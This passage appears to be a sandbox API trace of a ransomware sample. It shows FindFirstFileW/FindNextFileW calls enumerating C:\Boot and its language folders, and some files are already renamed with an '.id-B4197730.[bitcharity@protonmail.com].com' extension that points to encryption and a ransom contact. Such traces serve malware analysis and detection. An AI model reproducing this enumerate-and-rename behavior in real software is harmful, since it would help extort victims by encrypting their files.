lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x373f1a4d, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x59b2fc, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="WINDOW~3.COM")) returned 1 [0242.667] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0x39126703, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="WINDOW~4.COM")) returned 1 [0242.667] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0x39126703, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="WINDOW~4.COM")) returned 0 [0242.667] FindClose (in: hFindFile=0x64a398 | out: hFindFile=0x64a398) returned 1 [0242.667] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0242.669] FindNextFileW (in: hFindFile=0x64a258, lpFindFileData=0x3b2fcf8 | out: lpFindFileData=0x3b2fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77da0000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0242.669] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x6ebeb0 [0242.670] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0242.671] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xac3efa99, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0xac3efa99, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD", cAlternateFileName="")) returned 1 [0242.671] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0242.672] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0242.672] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0242.672] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0242.672] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec070 [0242.673] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.673] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0242.673] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0242.673] FindClose (in: hFindFile=0x6ec070 | out: hFindFile=0x6ec070) returned 1 [0242.673] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0242.673] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0242.673] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3573870b, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x3573870b, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3573870b, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x100fc, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BOOTSTAT.DAT.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="BOOTST~1.COM")) returned 1 [0242.674] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1 [0242.674] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0242.674] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ebdf0 [0242.675] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.675] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0242.675] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0242.675] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0242.675] FindClose (in: hFindFile=0x6ebdf0 | out: hFindFile=0x6ebdf0) returned 1 [0242.675] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0242.675] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="da-DK", cAlternateFileName="")) returned 1 [0242.675] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec170 [0242.676] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.676] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0242.676] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0242.676] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0242.676] FindClose (in: hFindFile=0x6ec170 | out: hFindFile=0x6ec170) returned 1 [0242.677] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0242.677] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="de-DE", cAlternateFileName="")) returned 1 [0242.677] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ebdf0 [0242.677] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.677] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48079da, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0242.677] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0242.677] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0242.677] FindClose (in: hFindFile=0x6ebdf0 | out: hFindFile=0x6ebdf0) returned 1 [0242.677] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0242.678] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="el-GR", cAlternateFileName="")) returned 1 [0242.678] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec270 [0242.678] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.678] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0242.679] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0242.679] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0242.679] FindClose (in: hFindFile=0x6ec270 | out: hFindFile=0x6ec270) returned 1 [0242.679] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0242.679] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-GB", cAlternateFileName="")) returned 1 [0242.679] FindFirstFileW (in: lpFileName="C:\\Boot\\en-GB\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, 